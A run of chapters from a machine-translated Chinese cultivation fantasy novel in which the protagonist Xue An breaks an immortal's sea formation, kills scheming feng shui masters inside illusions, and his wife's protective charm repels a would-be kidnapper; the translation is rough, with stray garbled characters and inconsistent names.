    Only Ming Canghai rubbed his palms and laughed, "Sure enough to be Mr. Song''s disciple, yes, this is the formation of the immortal heritage!"


    The remains of the fairy?


    The name ���� made everyone at the scene puzzled.


    Only Chang Zhu was shocked, and exclaimed, "Is the legend true?"


    Yuan Yunxin said lightly at this time: "Yes, the legend is true. This fairy remains does exist, and it now exists in the port of Xiangjiang!"


    There was silence in the room.


    The remains of the fairy!


    It can be seen that this is something left by a certain fairy!


    Immortal!


    How long has there been no trace of a fairy in the world?


    Even longevity is rare!


    Many people''s eyes are gradually red.


    If you can win a fairy treasure, wouldn''t it be ascendant in one step?

 Chapter 162： Xiange 10%, supernatural powers are self-generated!

    Ming Canghai said with a solemn expression at this time: "This time I invited all the world''s feng shui masters to come over for this immortal legacy! Since you can solve the opening questions, it means that there is hope to solve the immortal legacy''s formation. open!"


    "And...I Ming Canghai promised that after the formation is solved, the treasures in the immortal''s remains will be divided equally between our Ming family and everyone!" Ming Canghai said solemnly.


    This remark made many people exclaim in a low voice.


    Pan Yin was the first to slap the table and said: "Okay! Since Patriarch Ming said so, then I, Pan Yin, would like to help!"


    Chang Zhu couldn''t wait to say: "I have my Qizhou Changjia!"


    "And I!"


    "I am going too!"


    Everyone agreed.


    In the end, only Xue An and Song Yi have not expressed their opinions.


    Everyone couldn''t help but look at them both.


    And Yuan Yunxin looked at Xue An with eager eyes.


    In her opinion, none of these people is as important as Xue Anlai.


    This person''s understanding of the formation method can be described as unique in the world, and he is definitely a genius among geniuses!


    "Dare to ask Mr. Song, master and apprentice, would you like to join?" Ming Canghai asked.


    But Song Yi looked at Xue An.


    Under the gaze of everyone in the audience, Xue An raised his head with a smile, and whispered: "Okay! Then I''ll see and see, how powerful this fairy remains is!"


    "Well, then we will crack the fairy''s remains in three days!" Ming Canghai said, raising his glass.


    Everyone raised their glasses in response.


    After everyone has dispersed.


    Yuan Yunxin can''t wait to return to the house to study the new ideas Xue An has provided her.


    Ming Ruifeng stepped forward and said, "Father, Song Yi, the master and disciple, seems to be a bit wrong!"


    Ming Canghai smiled slightly, "Of course something is wrong!"


    "Then we..."


    "Haha, in the face of such treasures as the immortal remains, people will have their own thoughts. This is normal, and isn''t Song Yi this apprentice with his family? Arrange it in the hotel at the foot of the mountain, and it will be good for life. Hospitality, but you must send someone to watch it closely!"


    "Yes!"


    "If your uncle is here, you don''t have to worry about it at all, but unfortunately I don''t know where he is wandering." Ming Canghai sighed.


    Ming Ruifeng knew that the person his father was talking about was the Mingyuan who had the deepest knowledge of formations and Feng Shui in the Ming family.


    "But... as long as these people are firmly controlled in the palm of your hand, isn''t this immortal remains within easy reach!"


    Ming Canghai''s face showed a trace of pride in the world in his own hands.


    Everyone is now regarded as Ming family''s distinguished guests, and the treatment is naturally different from before, and there is a dedicated person to serve.


    And a polite woman stepped forward and said to Xue An: "Mr. Xue, you are taking your family with you. It is inconvenient to live here. The hotel at the foot of the mountain is also a Ming family property. The conditions are very good. Please come there with your wife and children. Live!"


    Xue An was noncommittal, but looked at An Yan.


    An Yan was unwilling to stay here, so he nodded and said: "Okay!"


    Xue An returned to the hotel with An Yan.


    Waiting for their mother and daughter to take a bath.


    Xue An closed his eyes and began to explore the surroundings with spirit.


    Except for the stalker, there is no other danger.


    Xue An still felt uneasy, so he flicked his eyebrows.


    A drop of golden blood came out.


    This is Xue An��s original power, which is extremely precious.


    Then Xue An looked solemn, wrote three nine-day amulet in the air, and waved his hand.


    These three runes are all attached to the spirits of Anyan and two daughters.


    In this way, no one can harm their mother and daughter unless the real fairy comes to the world at this moment!


    In fact, Xue An had already blessed the mother and daughter with a lot of domineering defense formations.


    But for his wife and daughter, Xue An is not too much safe.


    After doing all this, Xue An stood in front of the window, looking at the Ming family mansion on the mountain in the distance, with an indifferent expression.


    When he was in the Ming family, he had already probed with his spiritual mind more than once, but he could not find a trace of An Qing.


    But Xue An can now conclude that An Qing must be imprisoned by the Ming family.


    There are many treasures that shield the mind, which is not unusual.


    As long as you know Anqing is safe, then it''s easy!


    It is the remains of this fairy, which makes Xue An a little interested.


    Of course not because of how powerful this so-called fairy is.


    In Xue An''s view, the founder of this immortal formation is at most half a Jinxian''s cultivation base.


    But if you enter the golden fairy, it means that the fairy is gradually becoming!


    If you can get a sage even if it is incomplete, it will be helpful to your wife''s seal.


    The so-called Xiange is actually similar to the Godhead, but its power is much stronger.


    Only if you have a fairy, can you truly become a fairy.


    But the difficulty of becoming a fairy is simply unimaginable for mortals.


    There are not many people who can break through the real person, free and unrestrained, heaven and man, and eventually become immortal.


    After entering the longevity, there are very few practitioners.


    Among these people, there is no one who can really take that step and begin to gather the fairy tale!


    This is also known as the deepest trench between Xian Fan!


    At the same time, the quality of Xiange''s cohesion is also related to the level of the realm behind.


    In the universe, there are many kinds of fairy patterns, including the most common five-element fairy pattern, and the innate one-qi chaotic fairy pattern that appears in the legend, such as the most noble fairy pattern.


    But these methods of condensing top grades and even supernatural immortals are the top secrets of all major cultivating sects in the universe.


    In the last life, Xue An only condensed one of the most common five-element fairy, which also made him take a lot of detours behind.


    And the fairy cohesion is good, the supernatural powers born will be more powerful!


    This is also commonly known as the fairy world.


    Let��s take a look, what other means do you Mingjia have! Xue An thought lightly.


    And at this time.


    Many mysterious men began to appear in the port of Xiangjiang.


    These people looked like ordinary people, and soon disappeared in the vast crowd of Xiangjiang.


    There are also many masters with intrepid aura who have also entered.


    at the top of a tall building in Xiangjiang.


    Hua Baizhe looked at all the sentient beings at her feet indifferently.


    "Sister Hua, stand so aside, be careful to fall off!" A chirping man slowly emerged from the black shadow behind the water tank of the tall building.


    Hua Baizhan looked sad or happy, "Cai Xukun, if you dare to talk nonsense, I will kill you now!"


    "Hey, Junior Sister Hua, you still have such a grumpy temper! Tsk tsk, be careful not to get married!"


    A wind blade appeared silently behind Cai Xukun��s neck, almost cutting off his neck directly.


    "Spending a hundred percent off, you''re so **** real!" Cai Xukun was so scared that she was sweating.


    "What do you mean? Do you think I''m here to be funny, just like you playing basketball?" Hua Baizhe said coldly.


    Cai Xukun gritted his teeth, but did not dare to speak.


    Then he stared into the distance and said calmly: "You haven''t found any breath of you, what exactly is your cultivation base? Kill Yu Yuanyi with one sword, and slaughter the full gate of Wangyue Pavilion... Xue An!"

 Chapter 163： Qiankun borrowed from Pharaoh but didnt return it, now Qiankun doesnt borrow it!

    "Uncle Pan, don''t be like this..."


    "Be obedient, I will teach you the profound Feng Shui mystery!"


    Two minutes passed.


    Pan Yin walked out of the room refreshingly, Chang Xiaoxiao sorted out his messy clothes, followed behind with a blushing face.


    "Uncle Pan, you said you want to teach me Feng Shui mystery, but is it true?"


    "Of course it is true! In terms of ability, your master is not as good as me!" Pan Yin said with a smile.


    "Hmm! Thank you Uncle Pan!" Chang Xiaoxiao was very happy.


    It took another ten minutes before Chang Zhu came back from outside.


    "How are you inquiring?" Pan Yin smiled.


    Changzhu shook his head, "I just asked my friends here. Recently, the Xiangjiang River in the harbor has been calm and there is nothing unusual!"


    Pan Yin sighed, "The Ming family has been operating here for hundreds of years, and it has long been like a copper gang with iron bottom. Even if there is something unusual, it will not be known to outsiders!"


    Then Pan said in a gloomy voice: "This time is a great opportunity. We can form an alliance, which will make things easier at that time."


    "Great good!" Chang Zhu nodded cheerfully.


    Pan Yin''s words are in line with Chang Zhu''s heart.


    After all, I am alone and lonely. This Pan Yin is more capable than himself. If he unites, he will benefit a lot.


    "And don''t you always want that Sea-Monster blood bead? When the formation is broken, we can secretly lay hands and feet. Anyway, it is normal for a dead person to break through the remains of the immortal?" Pan Yin said with a gloomy expression.


    "Then... okay!" Chang Zhu said with a push.


    Pan Yinchong smiled and winked, and then went back to his room.


    After two people were left in the house, Chang Zhu said in a deep voice, "What? Have you talked about it?"


    often smiled and pursed his lips and said depressed: "This guy doesn''t see rabbits or hawks, but he is not good at it. It makes people unable to get better, which is really annoying!"


    "But he also said that he will teach me Feng Shui secrets in the future!"


    Changzhu nodded, "Remember to squeeze out all the details of this person!"


    "Understand!"


    Several other feng shui masters also have their own minds, and all kinds of alliances and anti-purpose tricks are staged in secret.


    The three days passed in this way.


    After this day, everyone gathered at Ming''s house early.


    Ming Ruifeng led the elite minions of the Ming family and had been waiting.


    Xue An is the latest one to come.


    Many people were already waiting anxiously, and Xue An came slowly.


    Ming Ruifeng didn''t say anything, and waved, "Everyone get in the car! The destination is in a remote place! It takes a long time to walk!"


    Everyone got on a bus, and Yuan Yunxin sat beside Xue An.


    After the vehicle started, many people began to excitedly discuss the next thing.


    Only Xue An looked out the window calmly.


    "Sir, I still don''t know your name yet!" Yuan Yunxin couldn''t help asking.


    Xue An turned his head to look at this ordinary-looking woman, then turned his head and looked out the window after a while, "My name is Xue!"


    "Oh, Mr. Xue, my name is Yuan Yunxin, I belong to the Yuan family in Jibei! Let''s make friends!" Yuan Yunxin stretched out his hand to shake Xue An.


    Xue An''s mouth showed a seeming smile, "I know, well-known genius girl, but sorry, I don''t like making friends!"


    ''S words made everyone around him look at him.


    Many people are dissatisfied with Xue An''s cold attitude towards Yuan Yunxin, and the look in Xue An''s eyes has become less friendly.


    Yuan Yunxin was very natural, and with a slight smile he withdrew his hand.


    "I just admire Mr. Xue''s understanding of the formation, and have no other meaning!"


    Xue An smiled slightly and stopped talking.


    In fact, Xue An was thinking in his heart, if you knew that I was the one who killed your elder brother, I don��t know what expression you would have!


    The bus drove to the beach, then everyone changed to a steamer and sailed for more than two hours.


    Ming Ruifeng stood on the bow and said in a deep voice: "That''s it!"


    Many masters of formation can''t help but be taken aback.


    This fairy remains actually at sea?


    As expected.


    I saw a few rocks standing alone on the vast expanse of the sea ahead.


    The waves hit the black iron-colored reef, causing white foam.


    The storm here is also much bigger.


    This is not a route, and there are no schools of fish. Normally, there is no ship coming to such a place.


    And Xue An stared into the distance.


    I saw it in the sea breeze, but this sea area looked strange, as if the light was distorted.


    At the same time, Ming Ruifeng took out his pistol and fired several shots at the sea ahead.


    bang bang bang.


    After a few shots, a light curtain suddenly appeared in the sea area in front, and the bullets hit it, all of which bounced back into the sea.


    Everyone exclaimed in a low voice.


    "We have calculated this big formation, the radius is about five miles, and the guns can''t be broken, it depends on your abilities!" Ming Ruifeng said.


    "Okay!" Someone snorted softly, and then, as if afraid that others would take the lead, they could not wait to take out a few small flags and toss them forward.


    "The boundless world, the universe borrows the law!"


    Boom!


    After a loud noise, these flags suddenly became larger in the air, and then ran towards the reefs.


    This move attracted many people''s cheers.


    "Good! Master Hu''s methods are really extraordinary..."


    Before the word was spoken, a blue blade of light suddenly appeared in the air. After flashing across the sky, the flags snapped off.


    Yuan Yunxin coldly snorted at this time: "Idiot If this formation is so easy to break, it''s your turn?"


    And Xue An smiled slightly and said to Song Yi, "Do you know why he lost?"


    Song Yi shook his head, "Why?"


    "Because he always borrows from Qiankun, he does not repay it, so Qiankun refuses to borrow now!


    Xue An''s words made Yuan Yun feel dumbfounded.


    Why is this person''s brain circuit so weird?


    This time, still in the mood to laugh?


    Just about to say something, I saw that Master Hu trembled all over, and then a green light rose from the bottom of his feet.


    "Ahhhhh!"


    In the screams, the master Hu turned into bones in the blink of an eye.


    The dead body fell to the ground.


    These tragic methods made everyone present all the same.


    At this time, people remembered, this is the formation left by the fairy, how could it be broken so easily?


    Yuan Yunxin said in a deep voice at this time: "This immortal''s remains are dangerous and dangerous, everyone listens to my orders and can no longer act without authorization. Now we have to deal with the reef first!"


    Yuan Yunxin pointed at the easternmost rock.


    "After a while, everyone uses their own means to deal with this reef together. Only by breaking it can it be expected to open the fairy''s remains!" Yuan Yunxin''s expression was serious.


    Everyone nodded.


    "3-2-1! Do it!" Yuan Yunxin gave an order.


    Many people used their own magical weapons and blasted towards the reef together.


    Only Xue An held his arms and watched quietly.


    Ming Ruifeng frowned and asked loudly, "Why don''t you do it?"


    Xue An turned his head and glanced at him, then smiled faintly, "Because this moment... is a fake!"

 Chapter 164： Wan Zhengui 1

    As soon as Xue An''s voice fell, I saw that the reef in the east suddenly increased by more than a hundredfold.


    is like a huge pillar suddenly rising above the sea, straight into the clouds.


    As for those attacks, they plunged into the sea like a mud cow in front of the boulder, not even a wave was stirred.


    Yuan Yunxin''s complexion changed drastically, and he exclaimed, "How is it possible!"


    She has deduced countless times this time, how could it suddenly change?


    Everyone was also dumbfounded.


    At this moment, a line of golden characters gradually appeared on the huge boulder.


    The mansion of the fairy king, the trespasser died!


    With the appearance of this line, someone trembled: "Look at... this ship."


    When everyone looked down, they found that the huge ship was gradually drifting away from the sea.


    At the same time, everyone felt a huge force hitting, pressing everyone on their knees, and even barely raising their heads.


    And the whole ship creaked under this terrifying pressure. It was the sound of metal being destroyed by tremendous pressure.


    This kind of momentum shocked everyone.


    Yuan Yunxin is even more desperate.


    She finally understood.


    All manpower is in vain in the face of such tyrannical forces.


    All the calculations are just like a joke.


    Pan Yin was even scared to cry.


    "I don''t want to die! I blame you Ming family, I blame you all! Ah!"


    Everyone looked miserable.


    Just then, a calm voice came from the bow of the ship.


    "A mere half-step golden immortal, dare to call the immortal king?"


    Everyone struggled to look up.


    I saw Xue An standing on the bow of the ship, his clothes being blown by the sea breeze, and his eyes were as deep as the vast ocean.


    Yuan Yunxin and others couldn''t help being taken aback.


    What is he doing?


    In the eyes of everyone''s doubts, Xue An gave a soft drink.


    "Show me!"


    Dense golden talisman seals suddenly appeared on the huge boulder that stood on top of the earth.


    Countless swordsman wind blades also appeared in the air, and at the same time they turned their directions and aimed at Xue An.


    This shocking scene made Yuan Yunxin and others look stupid.


    But Xue An smiled slightly, "It turns out to be an innate formation of the five elements reversed. With your half-step Golden Immortal cultivation base, it is not easy to set up this formation! But for me, it is not enough."


    Those sword-mans wind blades seemed to understand Xue An''s words, they shrank back, and then swooped down as if covering the sky and the sun.


    Yuan Yunxin closed his eyes in despair. In her opinion, Xue An was dead.


    Pan Yin and Chang Zhu looked at each other, and both felt a little gloating in their hearts.


    At this moment, a light but majestic voice sounded.


    "Let you wait and see today, what is the real fairy circle!"


    After all, Xue An formed a complicated and mysterious handprint on both hands, and at the same time he gave a soft drink.


    "Ten Thousand Arrays... Unite!"


    boom.


    Those Jianmang Wind Blades that had rushed to Xue An were all stagnated, then gradually became transparent, and finally returned to nothingness.


    The golden talisman seal on the huge boulder suddenly lit up, and then it was completely dimmed. There was a creaking sound inside the boulder, and then it broke apart.


    Snapped!


    The blue light curtain covering the sea disappeared like soap bubbles!


    Everyone only felt lightened, and the huge pressure disappeared.


    The ship also fell back to the surface.


    Everyone stood up and looked forward blankly.


    I saw an exquisite and transparent island suddenly appeared on the empty sea before.


    It��s just that the small island is only one mile in size, and in the middle of the island is a towering palace.


    "This...Is this the remains of the fairy?" Yuan Yunxin muttered to himself.


    Ming Ruifeng looked at Xue An''s back, his eyes flickering, and he didn''t know what he was thinking.


    And Xue An stepped out, volleyed towards the island.


    Pan Yin just woke up like a dream, "Quick! Get on the shore!"


    Everyone also woke up. Although Xue An broke this burst, they are all in front of the door. How can they not go in and take a look?


    So everyone cheekily followed behind and landed.


    At this moment, Xue An walked to the center of the island and looked up at this magnificent but unpopular palace.


    Three characters are written in ancient seal script on the palace.


    Little Penglai.


    Xue An smiled slightly, then stepped in.


    He just entered, Ming Ruifeng Pan Yin and others also arrived.


    The only building on this small island is this palace. As you can imagine, all the fairy treasures must be inside.


    Thinking of this, the eyes of Ming Ruifeng and others were red.


    A Feng Shui master stepped forward impatiently, planning to rush in.


    But after this step, the surrounding environment changed.


    seemed to be in the wild jungle, and everyone around him disappeared.


    This person''s face changed drastically.


    What''s going on?


    Could it be an illusion?


    When the Feng Shui master was in doubt, a huge roar came from behind. This person turned his head and saw that a huge beast that was hundreds of meters high was looking at him with his eyes.


    This man was so scared that he almost urinated and turned around to run, but he didn''t even take a step. The behemoth opened its blood basin and ate the poor Feng Shui master with one mouth.


    In the eyes of Yuan Yunxin and others, it was this person who stood in place, his face suddenly full of horror, and then turned into a **** flesh and died on the spot.


    This scene changed everyone''s eyes.


    Yuan Yunxin exclaimed, "It''s an illusion! Be careful, everyone!"


    But as soon as she said a word, everything around her disappeared.


    Just when everyone outside was trapped by the illusion.


    Xue An stood in the palace.


    It''s empty inside, without any other furnishings, only a bunch of bones sitting cross-legged on the middle futon.


    Xue An stepped forward, and saw the words written in blood in front of the bones.


    Xiuxian for more than a thousand years The world envy me for being happy, but I don��t know that this world is like a cage, so I can��t get in! Today I will enter the deadlock. If I can''t break the realm, I will stay here for the destined!


    Finally, sigh! sigh! sigh! Three characters.


    Xue An sighed slightly when he looked at this bone that had been dead for an unknown period of time.


    One way of cultivating immortals, once you step in, there is no way back.


    The only way to make a breakthrough is brave and diligent, otherwise once trapped in the realm, the taste is more uncomfortable than death.


    This half-step golden immortal can finally be dead, and can be regarded as a true monk.


    Xue An lightly waved his palm.


    The bones turned into dust and drifted away.


    The dust returns to the dust, I hope you have re-entered the samsara again!


    Xue An sighed, then leaned over and picked up a book and a sword on the ground.


    There is a line written on the book.


    The true solution to the formation.


    No wonder this person can use the half-step Golden Immortal''s cultivation base to set up the inverse five-element innate formation. He turned out to be a monk who specializes in formation.


    This sword seems to have been eroded by thousands of years of time, and it looks gray.


    Xue An gave a touch.


    The sword body showed brilliance.


    Two archaic seal characters are written on the hilt of the sword.


    Streamer.


    Xue An smiled.


    This time the immortal remains, it is not in vain.


    It''s a pity that this guy took too long to solve his soldiers, his body and everything are decayed, otherwise it would be good to get some broken fairy.


    After Xue An picked up these things, the magnificent palace quickly decayed, and in an instant it was dilapidated.


    Xue An turned to look at Laishi Road, a chuckle at the corner of his mouth.


    Are all trapped in the fantasy world?


    is also good, just collect the previous account!

 Chapter 165： Illusion

    Chang Zhu Chang Xiaoxiao The two masters and apprentices looked at the countless colorful venomous snakes in front of them, and they were shaking with fright.


    This illusion is transformed for what everyone fears most.


    "Master... Master, didn''t you say that this is an illusion? How come these snakes seem to be real!" She often laughed and cried.


    Changzhu looked gloomy at the moment, and suddenly he pushed back and smiled.


    often laughed and screamed, surrounded by these poisonous snakes.


    She cried and shouted, "Master, help me!"


    Changzhu is unmoved.


    She wanted to try if the poisonous snake would release herself after eating.


    But the result obviously disappointed her.


    These venomous snakes instantly turned Changxiaoxiao into bones, but the illusion still did not disappear.


    And just then, a light sigh came.


    "I asked you to be a master for more than ten years, but in the end you were bitten by ten thousand snakes. You are considered vicious!"


    Chang Zhu was shocked, turned his head and looked around, and saw Xue An strolling among the group of snakes.


    Wherever ���� passed, the group of snakes evaded one after another, and they all crawled on the ground, seeming to worship them.


    Changzhu felt regretful in his heart, and a very flattering smile appeared on his face.


    "Mr. Xue...Mr. Xue, you really cultivated as a master, Chang Zhu admires me, at the airport that day, it was my disciple who offended me, and now she has gotten what she deserves, please save me!"


    Xue listened quietly, until Chang Zhu finished speaking, then raised his eyebrows slightly, "Done?"


    Chang Zhu felt a chill in his heart and trembled: "Mr. Xue, I...I am from the Chang family in Qizhou, you..."


    I didn''t say the following words, because Xue An waved his hand and Chang Zhu''s head burst open.


    Until his death, Chang Zhu didn''t expect Xue An to make a sudden move, so there was a trace of astonishment on his broken face.


    The dead body fell to the ground.


    Xue An said lightly: "Do you know what Qizhou Changjia is always mentioned, which is very annoying?"


    After that, Xue An''s figure gradually disappeared.


    Pan Yin and Song Yi are also in the same illusion.


    What they are facing is a mountain of swords with countless swords.


    The two stood on a small rock above the knife mountain, and the rock was gradually shrinking.


    Pan Yin looked gloomy, and said angrily: "Song Yi, you old fellow, have you imparted all your abilities to that Xue An?"


    Song Yi sneered at this moment: "Pan Yin, do you know why you are still a happy life? Because you are simply stupid*! Mr. Xue just borrowed his name. What a character he, how could he be my apprentice?"


    Pan Yin was shocked, remembering the scene of Xue An breaking the fairy array with one hand.


    Song Yi said coldly: "All of you have made a mistake, that is, you shouldn''t fight against Mr. Xue! Because the old man has never seen anyone who fights against Mr. Xue and can still live!"


    Pan Yin''s face gradually turned pale, and finally looked at Song Yi with a bitter face.


    "Stop blowing air, I am not scared, even if I am going to die, you must die in front of me!"


    As Pan Yin slammed out, Song Yi turned on his side, but the rock under his feet was slippery and almost fell.


    Pan Yin smiled and tried again and again, Song Yi was also in danger.


    But at this moment, Xue An gradually emerged.


    Song Yi was overjoyed, "Mr. Xue!"


    Pan Yin''s face turned pale.


    Xue An smiled faintly, "Song Yi, your apprentice is really good! Are you good at playing tricks and ancestors!"


    Song Yi smiled bitterly.


    Then Xue An said: "Now, I give you a chance. You can clean up the door yourself!"


    As Xue An pointed slightly, Song Yi felt like he had endless strength.


    ''S momentum suddenly soared.


    In contrast, Pan Yin''s aura gradually wilted.


    Pan Yin''s face changed drastically, and he roared, "You...what do you want to do?"


    "What do you want to do?" Song Yi sneered.


    "At the beginning, I saw you poor, and you have some talent, so I accepted you as a disciple. I didn''t expect your wolf ambition to deceive your master and destroy your ancestors. Now fortunately, Mr. Xue''s help. I, Song Yi, have to clean the door by myself!"


    After that, Song Yi waved a palm.


    Pan Yin was knocked to the ground and almost fell off the knife hill.


    Pan Yin completely collapsed, crying and kneeling on the ground, "Master, Master, please spare your life! Master, I''m crazy, please let me go this time!"


    Song Yi''s face was indifferent, "God forgive you, I won''t forgive!"


    kicked the screaming Pan Yin down the knife mountain.


    Puff puff!


    Pan Yin screamed again and again, rolling down from the top of the knife mountain.


    When I got to the bottom, it had become mashed meat.


    At the same time, the illusion dissipated and returned to the island.


    Song Yi took a deep breath and knelt down to Xue An respectfully.


    "Mr. Xue, thanks to your great help today, Song Yi swears that I will be a dog and horse for Mr. Xue from now on!"


    Xue An smiled and threw the true solution of the formation in his hand.


    "I can''t use this stuff, but it''s suitable for you, you can practice it yourself!"


    Song Yi took a look, and his whole body was shocked.


    "This...this is!"


    Xue An nodded, "This is the remains of the fairy!"


    Song Yi burst into tears, suddenly stretched out his hand, bit his middle finger, wrote a seal on his forehead, and said loudly.


    "Disciple Song Yi, I would like to serve Mr. Xue for the rest of my life. If you have two hearts, your soul will be destroyed!"


    This is a ghost and **** pledge made by Song Yi!


    Xue An just smiled at this, then turned around and entered the illusion of Ming Ruifeng and Yuan Yunxin.


    These two people are facing a battlefield that shook the sky.


    At this moment, Ming Ruifeng''s whole body was scarred, and Yuan Yunxin was also covered with blood.


    "Yuan Yunxin, didn''t you say that this is an illusion? But why is it so real?" Ming Ruifeng hacked a soldier to death and roared.


    Yuan Yun''s heart was full of desperation, and he said in despair, "It''s useless, this is a fairyland. After being trapped in, unless you die or find a way out, you can''t crack it!"


    "No! I don''t want to die! Blame you asshole! Are you not known as a genius girl? You crack it!" Ming Ruifeng shouted hysterically suddenly.


    Everything on the battlefield stopped.


    Ming Ruifeng was taken aback, and when he looked up, he saw Xue An walking slowly.


    Yuan Yunxin had an incredible look on his face.


    "You... how can you..."


    Xue An smiled and waved gently, and these soldiers disappeared in smoke!


    "I can''t be troubled by such illusions!"


    then looked at Ming Ruifeng.


    "Will the Ming family be afraid of death?"


    Ming Ruifeng''s face was uncertain, "You...who are you?"


    Now he has understood that Xue An is definitely not Song Yi''s apprentice.


    Xue An smiled faintly, "I said, my last name is Xue, my name is Xue An!"


    Xue An?


    Ming Ruifeng frowned.


    This name is so familiar!


    At this time, Yuan Yunxin trembled: "You...You are actually Xue An? Xue An who killed my elder brother?"


    Xue An nodded.


    Ming Ruifeng felt his head bang, and then went blank.


    So it was him!


    That one sword destroys the sword immortal, and slaughters Xue An, who is full of Wangyue Pavilion!


    Ming Ruifeng was shaking all over.


    Yuan Yunxin was full of grief and despair.


    Xue An smiled at Ming Ruifeng at this time, "Master Ming, I still have another identity, that is An Qing''s brother-in-law!"


    Anqing?


    Ming Ruifeng suddenly remembered that among the military personnel he had captured, there was a woman named An Qing.


    His face was full of astonishment.


    Xue An shook his head and sighed, "Moreover, I killed the Mingyuan in your family!"


    Xue settled down and smiled sensibly, "But these are not important. The important thing is that your Ming family will no longer exist!"

 Chapter 166： Mom, you are so stupid!

    Ming Ruifeng trembled all over, and then made a movement that stunned Yuan Yun.


    I saw Ming Ruifeng plop and knelt to the ground.


    "Mr. Xue, I did all these things! You kill me and let the Ming family go!"


    Ming Ruifeng looked at Xue An hopefully.


    Xue An smiled faintly, "When your Ming family was going to kill all the insiders after breaking the battle, did you ever think about who would let you go?"


    When ���� said this, Ming Ruifeng''s face completely turned pale.


    "You...what are you doing?"


    "How do I know?" Xue An paused, and then said: "I also know that you seem to want to disadvantage my family and want to use this as a threat. Am I right? Young Master Ming!"


    Ming Ruifeng screamed, because a ball of flame had quietly ignited from his feet.


    And different from those fast burning, this flame is swallowing the sharp front at a slow speed.


    Ming Ruifeng felt as if someone was piercing his bone marrow with a golden needle, and it was heartbroken.


    "Kill me! Kill me!" Ming Ruifeng roared in pain.


    Xue An looked at it with a smile, and then said to Yuan Yun, who was already scared, "It''s beautiful, isn''t it?"


    Yuan Yun''s heart was full of horror.


    "Xue An, I just did a ghost, and I won''t let you go!" Ming Ruifeng roared.


    Xue An smiled, "Do you think you still have a chance to be a ghost?"


    The intensity of the fire suddenly increased, and the Ming Ruifeng burned to nothing under the flame.


    The soul is gone!


    Xue An turned to look at Yuan Yunxin.


    Yuan Yunxin calmed down at this time and said softly, "Can I ask you some questions before I die."


    "Yes!" Xue An nodded.


    "Why kill my big brother?"


    "Because it is not pleasing to the eye!" Xue An said lightly.


    Does not look pleasing to the eye?


    What is the explanation? Yuan Yunxin was a little bit dumbfounded.


    Actually Xue An doesn''t bother to explain anything.


    "Take... where did you learn your formation? Why do you know how to crack the fairy formation?"


    Xue An smiled, "If I want to say, I taught myself, do you believe it?"


    Yuan Yunxin bit his lip, then nodded, "I believe it!"


    "I have been called a genius of formation since I was a child, but I hate this title! Because they can''t see my efforts behind the scenes! But you... are indeed a genius!"


    Yuan Yunxin closed his eyes, "Do it!"


    Xue An looked at this ordinary-looking woman, suddenly smiled, and then waved.


    The illusion disappeared.


    Yuan Yunxin slowly opened his eyes, his face full of consternation.


    "Suddenly changed my mind. There are fewer and fewer pure people like you. If you kill again, the world will become more and more boring!"


    After Xue An said, he grabbed Song Yi from the ground, and disappeared above the sea.


    Yuan Yun stared blankly at Xue An''s back.


    I don��t know whether it is sad or happy!


    this moment.


    in Xiangjiang.


    Ming''s hotel.


    An Yan and her two daughters are guessing a riddle.


    "Mom, have you ever heard Big Pig say that there are riddles that Little Pig says there is no?" Xue Xiang asked with a grin.


    An Yan frowned and thought for a moment, then asked Xue Nian.


    "Nian Nian, have you heard of it?"


    Xue Nian shook his head, and said very seriously: "No!"


    "Hahahaha!" Xue Xiang smiled so that his eyes were bent.


    An Yan also smiled.


    "What are you laughing at?" Xue Nian didn''t understand.


    "You, what a fool, I said the big pig said yes, the little pig said no, but you said no, isn''t that a little pig?" Xue wanted to explain.


    Xue Nian realized this, and then said aggrieved: "Mom, sister bullied me again!"


    "Cut, is this bullying you? Are you stupid?" Xue Xiang made a face at Xue Nian.


    Xue Nian was so angry that Little Bun wrinkled her face.


    "Sister, then I will give you a question too!"


    "Okay! Come whatever you want!" Xue Xiang was confident.


    "Uh...uh..." Xue Nian''s face turned red, and she finally said.


    "The tortoise and the hare race, and the pig is the referee. Who won?"


    Xue thought that he just wanted to talk, then blinked his big eyes, and said in peace, "Mom, I don''t know this question!"


    An Yan also thought about it for a long time before saying: "It should be... the tortoise won, after all, the tortoise and the hare race!"


    "Then mom is a pig!"


    "Why?" An Yan was surprised.


    "Because only the referee knows who wins!"


    Xue Nian laughed happily.


    Xue Xiang crouched on his hips, and sighed with hatred for iron and steel, "Mom, you are so stupid!"


    An Yan couldn''t laugh or cry, "Well, mom is stupid!"


    Then An Yan stood up, looking at the sky outside with some worry.


    I don��t know how my husband is now!


    Although Xue An said very relaxedly, An Yan was still a little worried!


    And just at this time.


    Hua Baizhe and Caixukun stand on a tall building far away from the hotel.


    "Xue An and the Ming family have all gone to sea and don''t know what to do! Why don''t we go and arrest Xue An''s wife and children now, when he comes back, we will use these family members to force him to submit!" Xu Kun licked his lips and said insidiously.


    Hua Baizhe shook his head, "Go and go by yourself, I won''t do this kind of thing!"


    Cai Xukun snorted coldly, "Go and go!"


    Said Caixukun disappeared into the shadow again.


    This is his natural ability to sneak in the shadows.


    soon!


    Cai Xukun appeared in the corner of Mingjia Hotel, and then climbed along the outer wall to the room where An Yan lived.


    At this time An Yan was standing in front of the window.


    Cai Xukun looked at An Yan, and licked his lips greedily.


    This woman is so beautiful!


    And An Yan also saw Caixukun, just a moment ago.


    As soon as Caixukun tried hard, the tempered glass shattered.


    Then Cai Xukun consciously walked in gracefully, looked at An Yan and the two little girls with a look of astonishment, and smiled slightly: "Beautiful lady, I''m sorry, from now on, you will listen to me. !"


    An Yan woke up from shock, "What are you going to do?"


    "The blame is on your husband for being too arrogant. Now someone spends 100 million to get his head so..." Cai Xukun grinned and stretched out her hand to touch Anyan.


    Just halfway through the hand, a cloud of golden light flashed from An Yan.


    The momentum is so amazing that even the whole hotel trembles.


    and Caixukun was directly knocked out by the golden light.


    bang bang bang.


    The wall was hit and destroyed by him one after another, until he penetrated a whole floor of the hotel wall, the remaining power was still there, and Cai Xukun was blasted directly onto the distant hill.


    Boom!


    Cai Xukun was directly blasted into the interior of the mountain.


    This is just enough to stop.


    Then he picked Xu Kun and spit out a big mouthful of blood.


    The blood is also mixed with internal organs.


    With this blow, Caixukun''s whole body joints were broken.


    If it hadn''t been for Caixukun to use his natural ability to transfer most of his power to the shadow, now he has turned into a fan.


    Cai Xukun''s face showed horror.


    And the flowers that I looked at from a distance couldn''t help but change in color.


    How is this going?


    She only saw a group of golden light flashing, and then an unstoppable momentum suddenly filled the whole world.


    Although it was fleeting, Hua Baizhe was shaking all over.


    That momentum is simply terrible!


    can''t do it!


    It seems that the plan needs to be changed!


    Hua Baizha thought, the whole person disappeared in place.


    She just left!


